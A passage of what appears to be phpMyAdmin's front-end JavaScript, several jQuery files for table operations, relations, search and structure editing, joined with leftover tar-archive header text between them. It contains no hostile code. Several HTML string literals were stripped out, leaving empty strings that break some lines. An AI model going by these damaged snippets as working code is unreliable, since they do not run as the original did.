($('.sqlqueryresults').length !== 0) { $('.sqlqueryresults').remove(); } if ($('.result_query').length !== 0) { $('.result_query').remove(); } if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); $('
            ').prependTo('#page_content'); $('.sqlqueryresults').html(data.sql_query); Functions.highlightSql($('#page_content')); } else { Functions.ajaxShowMessage(data.error, false); } }); }, Functions.loadForeignKeyCheckbox); }; /** * jQuery coding for 'Table operations'. Used on /table/operations * Attach Ajax Event handlers for Table operations */ AJAX.registerOnload('table/operations.js', function () { /** * Ajax action for submitting the "Copy table" */ $(document).on('submit', '#copyTable.ajax', function (event) { event.preventDefault(); var $form = $(this); Functions.prepareForAjaxRequest($form); var argsep = CommonParams.get('arg_separator'); $.post($form.attr('action'), $form.serialize() + argsep + 'submit_copy=Go', function (data) { if (typeof data !== 'undefined' && data.success === true) { if ($form.find('input[name=\'switch_to_new\']').prop('checked')) { CommonParams.set( 'db', $form.find('select[name=\'target_db\'],input[name=\'target_db\']').val() ); CommonParams.set( 'table', $form.find('input[name=\'new_name\']').val() ); CommonActions.refreshMain(false, function () { Functions.ajaxShowMessage(data.message); }); } else { Functions.ajaxShowMessage(data.message); } // Refresh navigation when the table is copied Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() });// end of copyTable ajax submit /** * Ajax action for submitting the "Move table" */ $(document).on('submit', '#moveTableForm', function (event) { event.preventDefault(); var $form = $(this); Functions.prepareForAjaxRequest($form); var argsep = CommonParams.get('arg_separator'); $.post($form.attr('action'), $form.serialize() + argsep + 'submit_move=1', function (data) { if (typeof data !== 'undefined' && data.success === true) { CommonParams.set('db', data.params.db); CommonParams.set('table', data.params.table); CommonActions.refreshMain('index.php?route=/table/sql', function () { Functions.ajaxShowMessage(data.message); }); // Refresh navigation when the table is copied Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); }); /** * Ajax action for submitting the "Table options" */ $(document).on('submit', '#tableOptionsForm', function (event) { event.preventDefault(); event.stopPropagation(); var $form = $(this); var $tblNameField = $form.find('input[name=new_name]'); var $tblCollationField = $form.find('select[name=tbl_collation]'); var collationOrigValue = $('select[name="tbl_collation"] option[selected]').val(); var $changeAllColumnCollationsCheckBox = $('#checkbox_change_all_collations'); var question = Messages.strChangeAllColumnCollationsWarning; if ($tblNameField.val() !== $tblNameField[0].defaultValue) { // reload page and navigation if the table has been renamed Functions.prepareForAjaxRequest($form); if ($tblCollationField.val() !== collationOrigValue && $changeAllColumnCollationsCheckBox.is(':checked')) { $form.confirm(question, $form.attr('action'), function () { submitOptionsForm(); }); } else { submitOptionsForm(); } } else { if ($tblCollationField.val() !== collationOrigValue && $changeAllColumnCollationsCheckBox.is(':checked')) { $form.confirm(question, $form.attr('action'), function () { $form.removeClass('ajax').trigger('submit').addClass('ajax'); }); } else { $form.removeClass('ajax').trigger('submit').addClass('ajax'); } } function submitOptionsForm () { $.post($form.attr('action'), $form.serialize(), function (data) { if (typeof data !== 'undefined' && data.success === true) { CommonParams.set('table', data.params.table); CommonActions.refreshMain(false, function () { $('#page_content').html(data.message); Functions.highlightSql($('#page_content')); }); // Refresh navigation when the table is renamed Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); } }); /** * Ajax events for actions in the "Table maintenance" */ $(document).on('click', '#tbl_maintenance li a.maintain_action.ajax', function (event) { event.preventDefault(); var $link = $(this); if ($('.sqlqueryresults').length !== 0) { $('.sqlqueryresults').remove(); } if ($('.result_query').length !== 0) { $('.result_query').remove(); } // variables which stores the common attributes var params = $.param({ 'ajax_request': 1, 'server': CommonParams.get('server') }); var postData = $link.getPostData(); if (postData) { params += CommonParams.get('arg_separator') + postData; } $.post($link.attr('href'), params, function (data) { function scrollToTop () { $('html, body').animate({ scrollTop: 0 }); } var $tempDiv; if (typeof data !== 'undefined' && data.success === true && data.sql_query !== undefined) { Functions.ajaxShowMessage(data.message); $('
            ').prependTo('#page_content'); $('.sqlqueryresults').html(data.sql_query); Functions.highlightSql($('#page_content')); scrollToTop(); } else if (typeof data !== 'undefined' && data.success === true) { $tempDiv = $('
            '); $tempDiv.html(data.message); var $success = $tempDiv.find('.result_query .alert-success'); Functions.ajaxShowMessage($success); $('
            ').prependTo('#page_content'); $('.sqlqueryresults').html(data.message); Functions.highlightSql($('#page_content')); $('.sqlqueryresults').children('fieldset,br').remove(); scrollToTop(); } else { $tempDiv = $('
            '); $tempDiv.html(data.error); var $error; if ($tempDiv.find('.error code').length !== 0) { $error = $tempDiv.find('.error code').addClass('error'); } else { $error = $tempDiv; } Functions.ajaxShowMessage($error, false); } }); // end $.post() });// end of table maintenance ajax click /** * Ajax action for submitting the "Partition Maintenance" * Also, asks for confirmation when DROP partition is submitted */ $(document).on('submit', '#partitionsForm', function (event) { event.preventDefault(); var $form = $(this); function submitPartitionMaintenance () { var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; Functions.ajaxShowMessage(Messages.strProcessingRequest); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); } if ($('#partitionOperationRadioDrop').is(':checked')) { $form.confirm(Messages.strDropPartitionWarning, $form.attr('action'), function () { submitPartitionMaintenance(); }); } else if ($('#partitionOperationRadioTruncate').is(':checked')) { $form.confirm(Messages.strTruncatePartitionWarning, $form.attr('action'), function () { submitPartitionMaintenance(); }); } else { submitPartitionMaintenance(); } }); $(document).on('click', '#drop_tbl_anchor.ajax', function (event) { event.preventDefault(); var $link = $(this); /** * @var {String} question String containing the question to be asked for confirmation */ var question = Messages.strDropTableStrongWarning + ' '; question += Functions.sprintf(Messages.strDoYouReally, $link[0].getAttribute('data-query')); question += Functions.getForeignKeyCheckboxLoader(); $(this).confirm(question, $(this).attr('href'), function (url) { var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $link.getPostData()); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msgbox); // Table deleted successfully, refresh both the frames Navigation.reload(); CommonParams.set('table', ''); CommonActions.refreshMain( CommonParams.get('opendb_url'), function () { Functions.ajaxShowMessage(data.message); } ); } else { Functions.ajaxShowMessage(data.error, false); } }); }, Functions.loadForeignKeyCheckbox); }); // end of Drop Table Ajax action $(document).on('click', '#drop_view_anchor.ajax', function (event) { event.preventDefault(); var $link = $(this); /** * @var {String} question String containing the question to be asked for confirmation */ var question = Messages.strDropTableStrongWarning + ' '; question += Functions.sprintf( Messages.strDoYouReally, 'DROP VIEW `' + Functions.escapeHtml(CommonParams.get('table') + '`') ); $(this).confirm(question, $(this).attr('href'), function (url) { var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $link.getPostData()); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msgbox); // Table deleted successfully, refresh both the frames Navigation.reload(); CommonParams.set('table', ''); CommonActions.refreshMain( CommonParams.get('opendb_url'), function () { Functions.ajaxShowMessage(data.message); } ); } else { Functions.ajaxShowMessage(data.error, false); } }); }); }); // end of Drop View Ajax action $(document).on('click', '#truncate_tbl_anchor.ajax', function (event) { event.preventDefault(); confirmAndPost($(this), 'TRUNCATE'); }); $(document).on('click', '#delete_tbl_anchor.ajax', function (event) { event.preventDefault(); confirmAndPost($(this), 'DELETE'); }); }); // end $(document).ready for 'Table operations' src/table/relation.js000066600000022651151724472060010617 0ustar00/** * for table relation */ var TableRelation = {}; TableRelation.showHideClauses = function ($thisDropdown) { if ($thisDropdown.val() === '') { $thisDropdown.parent().nextAll('span').hide(); } else { if ($thisDropdown.is('select[name^="destination_foreign_column"]')) { $thisDropdown.parent().nextAll('span').show(); } } }; /** * Sets dropdown options to values * @param $dropdown * @param values * @param selectedValue * @return {void} */ TableRelation.setDropdownValues = function ($dropdown, values, selectedValue) { $dropdown.empty(); var optionsAsString = ''; // add an empty string to the beginning for empty selection values.unshift(''); $.each(values, function () { optionsAsString += ''; }); $dropdown.append($(optionsAsString)); }; /** * Retrieves and populates dropdowns to the left based on the selected value * * @param $dropdown the dropdown whose value got changed * @return {void} */ TableRelation.getDropdownValues = function ($dropdown) { var foreignDb = null; var foreignTable = null; var $databaseDd; var $tableDd; var $columnDd; var foreign = ''; // if the changed dropdown is for foreign key constraints if ($dropdown.is('select[name^="destination_foreign"]')) { $databaseDd = $dropdown.parent().parent().parent().find('select[name^="destination_foreign_db"]'); $tableDd = $dropdown.parent().parent().parent().find('select[name^="destination_foreign_table"]'); $columnDd = $dropdown.parent().parent().parent().find('select[name^="destination_foreign_column"]'); foreign = '_foreign'; } else { // internal relations $databaseDd = $dropdown.parent().find('select[name^="destination_db"]'); $tableDd = $dropdown.parent().find('select[name^="destination_table"]'); $columnDd = $dropdown.parent().find('select[name^="destination_column"]'); } // if the changed dropdown is a database selector if ($dropdown.is('select[name^="destination' + foreign + '_db"]')) { foreignDb = $dropdown.val(); // if no database is selected empty table and column dropdowns if (foreignDb === '') { TableRelation.setDropdownValues($tableDd, []); TableRelation.setDropdownValues($columnDd, []); return; } } else { // if a table selector foreignDb = $databaseDd.val(); foreignTable = $dropdown.val(); // if no table is selected empty the column dropdown if (foreignTable === '') { TableRelation.setDropdownValues($columnDd, []); return; } } var $msgbox = Functions.ajaxShowMessage(); var $form = $dropdown.parents('form'); var $db = $form.find('input[name="db"]').val(); var $table = $form.find('input[name="table"]').val(); var argsep = CommonParams.get('arg_separator'); var params = 'getDropdownValues=true' + argsep + 'ajax_request=true' + argsep + 'db=' + encodeURIComponent($db) + argsep + 'table=' + encodeURIComponent($table) + argsep + 'foreign=' + (foreign !== '') + argsep + 'foreignDb=' + encodeURIComponent(foreignDb) + (foreignTable !== null ? argsep + 'foreignTable=' + encodeURIComponent(foreignTable) : '' ); var $server = $form.find('input[name="server"]'); if ($server.length > 0) { params += argsep + 'server=' + $form.find('input[name="server"]').val(); } $.ajax({ type: 'POST', url: 'index.php?route=/table/relation', data: params, dataType: 'json', success: function (data) { Functions.ajaxRemoveMessage($msgbox); if (typeof data !== 'undefined' && data.success) { // if the changed dropdown is a database selector if (foreignTable === null) { // set values for table and column dropdowns TableRelation.setDropdownValues($tableDd, data.tables); TableRelation.setDropdownValues($columnDd, []); } else { // if a table selector // set values for the column dropdown var primary = null; if (typeof data.primary !== 'undefined' && 1 === data.primary.length ) { primary = data.primary[0]; } TableRelation.setDropdownValues($columnDd.first(), data.columns, primary); TableRelation.setDropdownValues($columnDd.slice(1), data.columns); } } else { Functions.ajaxShowMessage(data.error, false); } } }); }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/relation.js', function () { $('body').off('change', 'select[name^="destination_db"], ' + 'select[name^="destination_table"], ' + 'select[name^="destination_foreign_db"], ' + 'select[name^="destination_foreign_table"]' ); $('body').off('click', 'a.add_foreign_key_field'); $('body').off('click', 'a.add_foreign_key'); $('a.drop_foreign_key_anchor.ajax').off('click'); }); AJAX.registerOnload('table/relation.js', function () { /** * Ajax event handler to fetch table/column dropdown values. */ $('body').on('change', 'select[name^="destination_db"], ' + 'select[name^="destination_table"], ' + 'select[name^="destination_foreign_db"], ' + 'select[name^="destination_foreign_table"]', function () { TableRelation.getDropdownValues($(this)); } ); /** * Ajax event handler to add a column to a foreign key constraint. */ $('body').on('click', 'a.add_foreign_key_field', function (event) { event.preventDefault(); event.stopPropagation(); // Add field. $(this) .prev('span') .clone(true, true) .insertBefore($(this)) .find('select') .val(''); // Add foreign field. var $sourceElem = $('select[name^="destination_foreign_column[' + $(this).attr('data-index') + ']"]').last().parent(); $sourceElem .clone(true, true) .insertAfter($sourceElem) .find('select') .val(''); }); /** * Ajax event handler to add a foreign key constraint. */ $('body').on('click', 'a.add_foreign_key', function (event) { event.preventDefault(); event.stopPropagation(); var $prevRow = $(this).closest('tr').prev('tr'); var $newRow = $prevRow.clone(true, true); // Update serial number. var currIndex = $newRow .find('a.add_foreign_key_field') .attr('data-index'); var newIndex = parseInt(currIndex) + 1; $newRow.find('a.add_foreign_key_field').attr('data-index', newIndex); // Update form parameter names. $newRow.find('select[name^="foreign_key_fields_name"]') .not($newRow.find('select[name^="foreign_key_fields_name"]').first()) .find('select[name^="destination_foreign_column"]') .not($newRow.find('select[name^="foreign_key_fields_name"]') .not($newRow.find('select[name^="foreign_key_fields_name"]').first()) .find('select[name^="destination_foreign_column"]').first() ).each(function () { $(this).parent().remove(); }); $newRow.find('input, select').each(function () { $(this).attr('name', $(this).attr('name').replace(/\d/, newIndex) ); }); $newRow.find('input[type="text"]').each(function () { $(this).val(''); }); // Finally add the row. $newRow.insertAfter($prevRow); }); /** * Ajax Event handler for 'Drop Foreign key' */ $('a.drop_foreign_key_anchor.ajax').on('click', function (event) { event.preventDefault(); var $anchor = $(this); // Object containing reference to the current field's row var $currRow = $anchor.parents('tr'); var dropQuery = Functions.escapeHtml( $currRow.children('td') .children('.drop_foreign_key_msg') .val() ); var question = Functions.sprintf(Messages.strDoYouReally, dropQuery); $anchor.confirm(question, $anchor.attr('href'), function (url) { var $msg = Functions.ajaxShowMessage(Messages.strDroppingForeignKey, false); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); $.post(url, params, function (data) { if (data.success === true) { Functions.ajaxRemoveMessage($msg); CommonActions.refreshMain(false, function () { // Do nothing }); } else { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false); } }); // end $.post() }); }); // end Drop Foreign key var windowWidth = $(window).width(); $('.jsresponsive').css('max-width', (windowWidth - 35) + 'px'); }); src/table/select.js000066600000034641151724472060010263 0ustar00/** * @fileoverview JavaScript functions used on /table/search * * @requires jQuery * @requires js/functions.js */ /* global changeValueFieldType, verifyAfterSearchFieldChange */ // js/table/change.js /* global openGISEditor, gisEditorLoaded, loadJSAndGISEditor, loadGISEditor */ // js/gis_data_editor.js var TableSelect = {}; /** * Checks if given data-type is numeric or date. * * @param {string} dataType Column data-type * * @return {boolean | string} */ TableSelect.checkIfDataTypeNumericOrDate = function (dataType) { // To test for numeric data-types. var numericRegExp = new RegExp( 'TINYINT|SMALLINT|MEDIUMINT|INT|BIGINT|DECIMAL|FLOAT|DOUBLE|REAL', 'i' ); // To test for date data-types. var dateRegExp = new RegExp( 'DATETIME|DATE|TIMESTAMP|TIME|YEAR', 'i' ); // Return matched data-type if (numericRegExp.test(dataType)) { return numericRegExp.exec(dataType)[0]; } if (dateRegExp.test(dataType)) { return dateRegExp.exec(dataType)[0]; } return false; }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/select.js', function () { $('#togglesearchformlink').off('click'); $(document).off('submit', '#tbl_search_form.ajax'); $('select.geom_func').off('change'); $(document).off('click', 'span.open_search_gis_editor'); $('body').off('change', 'select[name*="criteriaColumnOperators"]'); // Fix for bug #13778, changed 'click' to 'change' }); AJAX.registerOnload('table/select.js', function () { /** * Prepare a div containing a link, otherwise it's incorrectly displayed * after a couple of clicks */ $('
            ') .insertAfter('#tbl_search_form') // don't show it until we have results on-screen .hide(); $('#togglesearchformlink') .html(Messages.strShowSearchCriteria) .on('click', function () { var $link = $(this); $('#tbl_search_form').slideToggle(); if ($link.text() === Messages.strHideSearchCriteria) { $link.text(Messages.strShowSearchCriteria); } else { $link.text(Messages.strHideSearchCriteria); } // avoid default click action return false; }); var tableRows = $('#fieldset_table_qbe select.column-operator'); $.each(tableRows, function (index, item) { $(item).on('change', function () { changeValueFieldType(this, index); verifyAfterSearchFieldChange(index, '#tbl_search_form'); }); }); /** * Ajax event handler for Table search */ $(document).on('submit', '#tbl_search_form.ajax', function (event) { var unaryFunctions = [ 'IS NULL', 'IS NOT NULL', '= \'\'', '!= \'\'' ]; var geomUnaryFunctions = [ 'IsEmpty', 'IsSimple', 'IsRing', 'IsClosed', ]; // jQuery object to reuse var $searchForm = $(this); event.preventDefault(); // empty previous search results while we are waiting for new results $('#sqlqueryresultsouter').empty(); var $msgbox = Functions.ajaxShowMessage(Messages.strSearching, false); Functions.prepareForAjaxRequest($searchForm); var values = {}; $searchForm.find(':input').each(function () { var $input = $(this); if ($input.attr('type') === 'checkbox' || $input.attr('type') === 'radio') { if ($input.is(':checked')) { values[this.name] = $input.val(); } } else { values[this.name] = $input.val(); } }); var columnCount = $('select[name="columnsToDisplay[]"] option').length; // Submit values only for the columns that have unary column operator or a search criteria for (var a = 0; a < columnCount; a++) { if ($.inArray(values['criteriaColumnOperators[' + a + ']'], unaryFunctions) >= 0) { continue; } if (values['geom_func[' + a + ']'] && $.inArray(values['geom_func[' + a + ']'], geomUnaryFunctions) >= 0) { continue; } if (values['criteriaValues[' + a + ']'] === '' || values['criteriaValues[' + a + ']'] === null) { delete values['criteriaValues[' + a + ']']; delete values['criteriaColumnOperators[' + a + ']']; delete values['criteriaColumnNames[' + a + ']']; delete values['criteriaColumnTypes[' + a + ']']; delete values['criteriaColumnCollations[' + a + ']']; } } // If all columns are selected, use a single parameter to indicate that if (values['columnsToDisplay[]'] !== null) { if (values['columnsToDisplay[]'].length === columnCount) { delete values['columnsToDisplay[]']; values.displayAllColumns = true; } } else { values.displayAllColumns = true; } $.post($searchForm.attr('action'), values, function (data) { Functions.ajaxRemoveMessage($msgbox); if (typeof data !== 'undefined' && data.success === true) { if (typeof data.sql_query !== 'undefined') { // zero rows $('#sqlqueryresultsouter').html(data.sql_query); } else { // results found $('#sqlqueryresultsouter').html(data.message); $('.sqlqueryresults').trigger('makegrid'); } $('#tbl_search_form') // workaround for bug #3168569 - Issue on toggling the "Hide search criteria" in chrome. .slideToggle() .hide(); $('#togglesearchformlink') // always start with the Show message .text(Messages.strShowSearchCriteria); $('#togglesearchformdiv') // now it's time to show the div containing the link .show(); $('html, body').animate({ scrollTop: 0 }, 'fast'); } else { $('#sqlqueryresultsouter').html(data.error); } Functions.highlightSql($('#sqlqueryresultsouter')); }); // end $.post() }); // Following section is related to the 'function based search' for geometry data types. // Initially hide all the open_gis_editor spans $('span.open_search_gis_editor').hide(); $('select.geom_func').on('change', function () { var $geomFuncSelector = $(this); var binaryFunctions = [ 'Contains', 'Crosses', 'Disjoint', 'Equals', 'Intersects', 'Overlaps', 'Touches', 'Within', 'MBRContains', 'MBRDisjoint', 'MBREquals', 'MBRIntersects', 'MBROverlaps', 'MBRTouches', 'MBRWithin', 'ST_Contains', 'ST_Crosses', 'ST_Disjoint', 'ST_Equals', 'ST_Intersects', 'ST_Overlaps', 'ST_Touches', 'ST_Within' ]; var tempArray = [ 'Envelope', 'EndPoint', 'StartPoint', 'ExteriorRing', 'Centroid', 'PointOnSurface' ]; var outputGeomFunctions = binaryFunctions.concat(tempArray); // If the chosen function takes two geometry objects as parameters var $operator = $geomFuncSelector.parents('tr').find('td').eq(4).find('select'); if ($.inArray($geomFuncSelector.val(), binaryFunctions) >= 0) { $operator.prop('readonly', true); } else { $operator.prop('readonly', false); } // if the chosen function's output is a geometry, enable GIS editor var $editorSpan = $geomFuncSelector.parents('tr').find('span.open_search_gis_editor'); if ($.inArray($geomFuncSelector.val(), outputGeomFunctions) >= 0) { $editorSpan.show(); } else { $editorSpan.hide(); } }); $(document).on('click', 'span.open_search_gis_editor', function (event) { event.preventDefault(); var $span = $(this); // Current value var value = $span.parent('td').children('input[type=\'text\']').val(); // Field name var field = 'Parameter'; // Column type var geomFunc = $span.parents('tr').find('.geom_func').val(); var type; if (geomFunc === 'Envelope') { type = 'polygon'; } else if (geomFunc === 'ExteriorRing') { type = 'linestring'; } else { type = 'point'; } // Names of input field and null checkbox var inputName = $span.parent('td').children('input[type=\'text\']').attr('name'); // Token openGISEditor(); if (!gisEditorLoaded) { loadJSAndGISEditor(value, field, type, inputName); } else { loadGISEditor(value, field, type, inputName); } }); /** * Ajax event handler for Range-Search. */ $('body').on('change', 'select[name*="criteriaColumnOperators"]', function () { // Fix for bug #13778, changed 'click' to 'change' var $sourceSelect = $(this); // Get the column name. var columnName = $(this) .closest('tr') .find('th') .first() .text(); // Get the data-type of column excluding size. var dataType = $(this) .closest('tr') .find('td[data-type]') .attr('data-type'); dataType = TableSelect.checkIfDataTypeNumericOrDate(dataType); // Get the operator. var operator = $(this).val(); if ((operator === 'BETWEEN' || operator === 'NOT BETWEEN') && dataType) { var $msgbox = Functions.ajaxShowMessage(); $.ajax({ url: 'index.php?route=/table/search', type: 'POST', data: { 'server': CommonParams.get('server'), 'ajax_request': 1, 'db': $('input[name="db"]').val(), 'table': $('input[name="table"]').val(), 'column': columnName, 'range_search': 1 }, success: function (response) { Functions.ajaxRemoveMessage($msgbox); if (response.success) { // Get the column min value. var min = response.column_data.min ? '(' + Messages.strColumnMin + ' ' + response.column_data.min + ')' : ''; // Get the column max value. var max = response.column_data.max ? '(' + Messages.strColumnMax + ' ' + response.column_data.max + ')' : ''; $('#rangeSearchModal').modal('show'); $('#rangeSearchLegend').first().html(operator); $('#rangeSearchMin').first().text(min); $('#rangeSearchMax').first().text(max); // Reset input values on reuse $('#min_value').first().val(''); $('#max_value').first().val(''); // Add datepicker wherever required. Functions.addDatepicker($('#min_value'), dataType); Functions.addDatepicker($('#max_value'), dataType); $('#rangeSearchModalGo').on('click', function () { var minValue = $('#min_value').val(); var maxValue = $('#max_value').val(); var finalValue = ''; if (minValue.length && maxValue.length) { finalValue = minValue + ', ' + maxValue; } var $targetField = $sourceSelect.closest('tr') .find('[name*="criteriaValues"]'); // If target field is a select list. if ($targetField.is('select')) { $targetField.val(finalValue); var $options = $targetField.find('option'); var $closestMin = null; var $closestMax = null; // Find closest min and max value. $options.each(function () { if ( $closestMin === null || Math.abs($(this).val() - minValue) < Math.abs($closestMin.val() - minValue) ) { $closestMin = $(this); } if ( $closestMax === null || Math.abs($(this).val() - maxValue) < Math.abs($closestMax.val() - maxValue) ) { $closestMax = $(this); } }); $closestMin.attr('selected', 'selected'); $closestMax.attr('selected', 'selected'); } else { $targetField.val(finalValue); } $('#rangeSearchModal').modal('hide'); }); } else { Functions.ajaxShowMessage(response.error); } }, error: function () { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest); } }); } }); var windowWidth = $(window).width(); $('.jsresponsive').css('max-width', (windowWidth - 69) + 'px'); }); src/table/structure.js000066600000045672151724472060011052 0ustar00/** * @fileoverview functions used on the table structure page * @name Table Structure * * @requires jQuery * @requires jQueryUI * @required js/functions.js */ // eslint-disable-next-line no-unused-vars /* global primaryIndexes:writable, indexes:writable, fulltextIndexes:writable, spatialIndexes:writable */ // js/functions.js /* global sprintf */ // js/vendor/sprintf.js /** * AJAX scripts for /table/structure * * Actions ajaxified here: * Drop Column * Add Primary Key * Drop Primary Key/Index * */ /** * Reload fields table */ function reloadFieldForm () { $.post($('#fieldsForm').attr('action'), $('#fieldsForm').serialize() + CommonParams.get('arg_separator') + 'ajax_request=true', function (formData) { var $tempDiv = $('
            ').append(formData.message); $('#fieldsForm').replaceWith($tempDiv.find('#fieldsForm')); $('#addColumns').replaceWith($tempDiv.find('#addColumns')); $('#move_columns_dialog').find('ul').replaceWith($tempDiv.find('#move_columns_dialog ul')); }); $('#page_content').show(); } function checkFirst () { if ($('select[name=after_field] option:selected').data('pos') === 'first') { $('input[name=field_where]').val('first'); } else { $('input[name=field_where]').val('after'); } } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/structure.js', function () { $(document).off('click', 'a.drop_column_anchor.ajax'); $(document).off('click', 'a.add_key.ajax'); $(document).off('click', '#move_columns_anchor'); $(document).off('submit', '.append_fields_form.ajax'); $('body').off('click', '#fieldsForm button.mult_submit'); $(document).off('click', 'a[id^=partition_action].ajax'); $(document).off('click', '#remove_partitioning.ajax'); }); AJAX.registerOnload('table/structure.js', function () { // Re-initialize variables. primaryIndexes = []; indexes = []; fulltextIndexes = []; spatialIndexes = []; /** *Ajax action for submitting the "Column Change" and "Add Column" form */ $('.append_fields_form.ajax').off(); $(document).on('submit', '.append_fields_form.ajax', function (event) { event.preventDefault(); /** * @var form object referring to the export form */ var $form = $(this); var fieldCnt = $form.find('input[name=orig_num_fields]').val(); function submitForm () { var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post($form.attr('action'), $form.serialize() + CommonParams.get('arg_separator') + 'do_save_data=1', function (data) { if ($('.sqlqueryresults').length !== 0) { $('.sqlqueryresults').remove(); } else if ($('.error:not(.tab)').length !== 0) { $('.error:not(.tab)').remove(); } if (typeof data.success !== 'undefined' && data.success === true) { $('#page_content') .empty() .append(data.message) .show(); Functions.highlightSql($('#page_content')); $('.result_query .alert-primary').remove(); if (typeof data.structure_refresh_route !== 'string') { // Do not reload the form when the code below freshly filled it reloadFieldForm(); } $form.remove(); Functions.ajaxRemoveMessage($msg); Navigation.reload(); if (typeof data.structure_refresh_route === 'string') { // Fetch the table structure right after adding a new column $.get(data.structure_refresh_route, function (data) { if (typeof data.success !== 'undefined' && data.success === true) { $('#page_content').append(data.message).show(); } }); } else { CommonActions.refreshMain('index.php?route=/table/structure'); } } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } function checkIfConfirmRequired ($form) { var i = 0; var id; var elm; var val; var nameOrig; var elmOrig; var valOrig; var checkRequired = false; for (i = 0; i < fieldCnt; i++) { id = '#field_' + i + '_5'; elm = $(id); val = elm.val(); nameOrig = 'input[name=field_collation_orig\\[' + i + '\\]]'; elmOrig = $form.find(nameOrig); valOrig = elmOrig.val(); if (val && valOrig && val !== valOrig) { checkRequired = true; break; } } return checkRequired; } /* * First validate the form; if there is a problem, avoid submitting it * * Functions.checkTableEditForm() needs a pure element and not a jQuery object, * this is why we pass $form[0] as a parameter (the jQuery object * is actually an array of DOM elements) */ if (Functions.checkTableEditForm($form[0], fieldCnt)) { // OK, form passed validation step Functions.prepareForAjaxRequest($form); if (Functions.checkReservedWordColumns($form)) { // User wants to submit the form // If Collation is changed, Warn and Confirm if (checkIfConfirmRequired($form)) { var question = sprintf( Messages.strChangeColumnCollation, 'https://wiki.phpmyadmin.net/pma/Garbled_data' ); $form.confirm(question, $form.attr('action'), function () { submitForm(); }); } else { submitForm(); } } } }); // end change table button "do_save_data" /** * Attach Event Handler for 'Drop Column' */ $(document).on('click', 'a.drop_column_anchor.ajax', function (event) { event.preventDefault(); /** * @var currTableName String containing the name of the current table */ var currTableName = $(this).closest('form').find('input[name=table]').val(); /** * @var currRow Object reference to the currently selected row (i.e. field in the table) */ var $currRow = $(this).parents('tr'); /** * @var currColumnName String containing name of the field referred to by {@link curr_row} */ var currColumnName = $currRow.children('th').children('label').text().trim(); currColumnName = Functions.escapeHtml(currColumnName); /** * @var $afterFieldItem Corresponding entry in the 'After' field. */ var $afterFieldItem = $('select[name=\'after_field\'] option[value=\'' + currColumnName + '\']'); /** * @var question String containing the question to be asked for confirmation */ var question = Functions.sprintf(Messages.strDoYouReally, 'ALTER TABLE `' + currTableName + '` DROP `' + currColumnName + '`;'); var $thisAnchor = $(this); $thisAnchor.confirm(question, $thisAnchor.attr('href'), function (url) { var $msg = Functions.ajaxShowMessage(Messages.strDroppingColumn, false); var params = Functions.getJsConfirmCommonParam(this, $thisAnchor.getPostData()); params += CommonParams.get('arg_separator') + 'ajax_page_request=1'; $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msg); if ($('.result_query').length) { $('.result_query').remove(); } if (data.sql_query) { $('
            ') .html(data.sql_query) .prependTo('#structure_content'); Functions.highlightSql($('#page_content')); } // Adjust the row numbers for (var $row = $currRow.next(); $row.length > 0; $row = $row.next()) { var newVal = parseInt($row.find('td').eq(1).text(), 10) - 1; $row.find('td').eq(1).text(newVal); } $afterFieldItem.remove(); $currRow.hide('medium').remove(); // Remove the dropped column from select menu for 'after field' $('select[name=after_field]').find( '[value="' + currColumnName + '"]' ).remove(); // by default select the (new) last option to add new column // (in case last column is dropped) $('select[name=after_field] option').last().attr('selected','selected'); // refresh table stats if (data.tableStat) { $('#tablestatistics').html(data.tableStat); } // refresh the list of indexes (comes from /sql) $('.index_info').replaceWith(data.indexes_list); Navigation.reload(); } else { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false); } }); // end $.post() }); }); // end of Drop Column Anchor action /** * Ajax Event handler for adding keys */ $(document).on('click', 'a.add_key.ajax', function (event) { event.preventDefault(); var $this = $(this); var currTableName = $this.closest('form').find('input[name=table]').val(); var currColumnName = $this.parents('tr').children('th').children('label').text().trim(); var addClause = ''; if ($this.is('.add_primary_key_anchor')) { addClause = 'ADD PRIMARY KEY'; } else if ($this.is('.add_index_anchor')) { addClause = 'ADD INDEX'; } else if ($this.is('.add_unique_anchor')) { addClause = 'ADD UNIQUE'; } else if ($this.is('.add_spatial_anchor')) { addClause = 'ADD SPATIAL'; } else if ($this.is('.add_fulltext_anchor')) { addClause = 'ADD FULLTEXT'; } var question = Functions.sprintf(Messages.strDoYouReally, 'ALTER TABLE `' + Functions.escapeHtml(currTableName) + '` ' + addClause + '(`' + Functions.escapeHtml(currColumnName) + '`);'); var $thisAnchor = $(this); $thisAnchor.confirm(question, $thisAnchor.attr('href'), function (url) { Functions.ajaxShowMessage(); AJAX.source = $this; var params = Functions.getJsConfirmCommonParam(this, $thisAnchor.getPostData()); params += CommonParams.get('arg_separator') + 'ajax_page_request=1'; $.post(url, params, AJAX.responseHandler); }); }); // end Add key /** * Inline move columns **/ $(document).on('click', '#move_columns_anchor', function (e) { e.preventDefault(); var buttonOptionsError = {}; buttonOptionsError[Messages.strOK] = function () { $(this).dialog('close').remove(); }; var columns = []; $('#tablestructure').find('tbody tr').each(function () { var colName = $(this).find('input:checkbox').eq(0).val(); var hiddenInput = $('') .prop({ name: 